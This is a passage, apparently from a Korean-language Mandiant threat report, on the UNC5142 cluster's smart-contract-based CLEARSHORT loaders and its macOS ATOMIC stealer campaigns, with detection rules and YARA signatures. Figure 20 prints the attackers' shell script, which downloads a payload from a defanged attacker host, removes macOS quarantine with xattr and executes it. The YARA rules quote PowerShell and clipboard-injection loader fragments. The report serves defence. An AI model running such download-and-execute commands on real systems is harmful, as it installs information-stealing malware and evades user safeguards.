행위자의 주요 진화는 악성코드를 실행 파일로 직접 전달하는 것을 중단한 것입니다. 대신, MediaFire와 같은 서비스에 암호화된 데이터 블롭을 .mp4, .mp3와 같은 미디어 파일로 위장하여 호스팅하기 시작했습니다. PowerShell 로더는 이 블롭을 메모리에서 복호화하는 복호화 루틴(예: AES, TripleDES)을 포함하도록 업데이트되었으며, 이를 통해 최종 단계의 .NET 드로퍼 또는 악성코드 자체가 드러나게 되었습니다.
2025년 2월 이후
가장 중요한 변화는 온체인 인프라의 더 깊은 통합이었습니다. 유인책에 드로퍼 URL을 하드코딩하는 대신, CLEARSHORT 스크립트가 3단계 스마트 계약에 직접 eth_call
을 수행하기 시작했습니다. 이제 스마트 계약이 1단계 드로퍼의 URL을 동적으로 제공합니다. 이는 행위자에게 유인책 이후 인프라에 대한 완전하고 실시간적인 통제권을 부여합니다. 그들은 단 한 번의 저렴한 트랜잭션을 스마트 계약에 전송하는 것만으로 드로퍼 도메인, 파일 이름, 그리고 전체 후속 사슬을 변경할 수 있습니다.
RADTHIEF로 이어지는 감염 사슬에서, Mandiant Threat Defense는 행위자가 1단계 URL을 유인책에 직접 하드코딩하는 이전의 정적 방식으로 되돌아가는 것을 관찰했습니다. 이는 UNC5142가 각 캠페인에 맞춰 감염 방식을 조정하는 유연한 접근 방식을 사용하고 있음을 보여줍니다.
macOS 표적 공격
주목할 만하게도, 이 위협 클러스터는 유포 캠페인에서 Windows 및 macOS 시스템 모두를 표적으로 삼았습니다. 2025년 2월과 2025년 4월에 UNC5142는 macOS 맞춤형 정보 탈취 악성코드인 ATOMIC을 유포했습니다. 이 캠페인의 사회공학적 유인책은 진화했으며, 초기 2월 유인책은 명시적으로 "Instructions For MacOS(macOS용 지침)"을 명시한 반면, 후기 4월 버전은 Windows 캠페인에 사용된 유인책과 거의 동일했습니다 (그림 18 및 그림 19). 2월 감염 사슬에서, 유인책은 사용자에게 쉘 스크립트를 검색하는 bash 명령을 실행하도록 유도했습니다 (그림 18). 이 스크립트는 이어서 curl
을 사용하여 원격 서버 hxxps[:]//browser-storage[.]com/update
에서 ATOMIC 페이로드를 가져와 /tmp/update
라는 파일에 기록합니다 (그림 20). bash 스크립트 내에서 xattr
명령을 사용한 것은 의도적인 방어 회피 기법으로, macOS가 다운로드된 애플리케이션을 처음 실행하기 전에 사용자 확인을 요구하는 보안 프롬프트를 표시하지 못하도록 하는 com.apple.quarantine
속성을 제거하도록 설계되었습니다.


그림 18: 2025년 2월의 macOS "설치 지침" CLEARSHORT 유인책


그림 19: 2025년 5월의 macOS "인증 단계" CLEARSHORT 유인책
curl -o /tmp/update https://browser-storage[.]com/update
xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update
그림 20: install.sh
쉘 스크립트 내용
전망 및 시사점
지난 1년 동안 UNC5142는 민첩성, 유연성 및 작전을 적응시키고 발전시키려는 의지를 보여주었습니다. 2024년 중반 이후, 이 위협 클러스터는 다중 스마트 계약 사용, 2차 페이로드의 AES 암호화, 랜딩 페이지 호스팅을 위한 CloudFlare .dev 페이지 활용, ClickFix 사회공학 기법 도입 등 광범위한 변화를 시도하고 통합했습니다. 이러한 변화는 보안 탐지를 우회하고, 분석 노력을 방해하거나 복잡하게 만들며, 작전의 성공률을 높이려는 시도일 가능성이 높습니다. BNB Smart Chain 및 Cloudflare 페이지와 같은 합법적인 플랫폼에 의존하는 것은 일부 보안 탐지를 회피하는 데 도움이 되는 정당성을 부여할 수 있습니다. 지난 1년 반 동안 감염 사슬의 빈번한 업데이트와 일관된 작전 속도, 대량의 침해된 웹사이트, 그리고 유포된 악성코드 페이로드의 다양성을 고려할 때, UNC5142는 작전에서 어느 정도의 성공을 거두었을 가능성이 높습니다. 2025년 7월 이후 UNC5142 활동이 중단되거나 일시 정지된 것으로 보이지만, 이 위협 클러스터가 새롭게 부상하는 기술을 통합하려는 의지와 TTP를 지속적으로 진화시키려는 이전의 성향은 탐지를 피하기 위해 작전 방식을 더욱 크게 전환했을 수 있음을 시사합니다.
감사의 글
서비스형 악성코드(Malware as a Service) 유포 클러스터 추적에 참여한 Cian Lynch와 정보 탈취 악성코드 샘플 분석을 지원한 Blas Kojusner에게 특별한 감사를 표합니다. 또한, 귀속 노력을 기울인 Geoff Ackerman과 탐지 기회를 제공한 Muhammad Umer Khan 및 Elvis Miezitis에게도 감사합니다. 영향력 있는 피드백과 조정을 제공한 Yash Gupta와 블로그 게시물에 대한 귀중한 제안을 해준 Diana Ion에게도 특별히 감사드립니다.
탐지 기회
다음 침해 지표(IOCs) 및 YARA 규칙은 Google Threat Intelligence (GTI)에서도 컬렉션 및 규칙 팩으로 제공됩니다.
Google Security Operations를 통한 탐지
Mandiant는 관련 규칙을 Google SecOps Mandiant Frontline Threats 큐레이션된 탐지 규칙 세트에서 사용할 수 있도록 했습니다. 이 블로그 게시물에 자세히 설명된 활동은 다음 규칙 이름으로 탐지되는 여러 특정 MITRE ATT&CK 전술 및 기법과 관련이 있습니다.
-
의심스러운 프로세스를 생성하는 실행 유틸리티
-
Mshta 원격 파일 실행
-
Mshta를 실행하는 Powershell
-
C2 최상위 도메인에 대한 의심스러운 DNS 조회 이벤트
-
Mediafire에 대한 의심스러운 네트워크 연결
-
Powershell을 실행하는 Mshta
-
Powershell 숨겨진 실행을 시작하는 탐색기
MITRE ATT&CK
YARA 룰
rule M_Downloader_CLEARSHORT_1 {
meta:
author = "Mandiant"
strings:
$payload_b641 = "ipconfig /flushdns" base64
$payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64
$payload_b643 = "[System.Diagnostics.Process]::Start(" base64
$payload_b644 = "-ep RemoteSigned -w 1 -enc" base64
$payload_o1 = "ipconfig /flushdns" nocase ascii wide
$payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide
$payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide
$payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide
$htm_o1 = "title: \"Google Chrome\","
$htm_o2 = "PowerShell"
$htm_o3 = "navigator.clipboard.writeText"
$htm_o4 = "document.body.removeChild"
$htm_o5 = "downloadButton.classList.add('downloadButton');"
$htm_o6 = "getUserLanguage().substring(0, 2);"
$htm_o7 = "translateContent(userLang);"
$htm_b64_1 = "title: \"Google Chrome\"," base64
$htm_b64_2 = "PowerShell" base64
$htm_b64_3 = "navigator.clipboard.writeText" base64
$htm_b64_4 = "document.body.removeChild" base64
$htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64
$htm_b64_6 = "getUserLanguage().substring(0, 2);" base64
$htm_b64_7 = "translateContent(userLang);" base64
condition:
filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or 4 of ($htm_o*))
}
rule M_Downloader_CLEARSHORT_2 {
meta:
author = "Mandiant"
strings:
$htm1 = "const base64HtmlContent"
$htm2 = "return decodeURIComponent(escape(atob(str)));"
$htm3 = "document.body.style.overflow = 'hidden';"
$htm4 = "document.body.append(popupContainer);"
$htm5 = "Object.assign(el.style, styles);"
$htm_b64_1 = "const base64HtmlContent" base64
$htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64
$htm_b64_3 = "document.body.style.overflow = 'hidden';" base64
$htm_b64_4 = "document.body.append(popupContainer);" base64
$htm_b64_5 = "Object.assign(el.style, styles);" base64
condition:
filesize<1MB and 5 of ($htm*)
}
rule M_Downloader_CLEARSHORT_3
{
meta:
author = "Mandiant"
strings:
$smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase
$smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase
$smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase
$smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/
$smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/
$smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/
$enc_marker1 = "4834734941444748553263432f34315662572f624"
$enc_marker2 = "4834734941465775513263432f2b3257775772"
$c2_marker_capcha = "743617074636861"
$c2_marker_https = "68747470733a2f2f72"
$c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\""
$str1 = /Windows\s*\+\s*R/ nocase
$str2 = /CTRL\s*\+\s*V/ nocase
$str3 = "navigator.clipboard.writeText" nocase
$str4 = "captcha" nocase
$str5 = ".innerHTML" nocase
$payload1 = ".shop" base64
$payload2 = "[scriptblock]::Create(" nocase
$payload3 = "HTA:APPLICATION" nocase
condition:
filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*))
}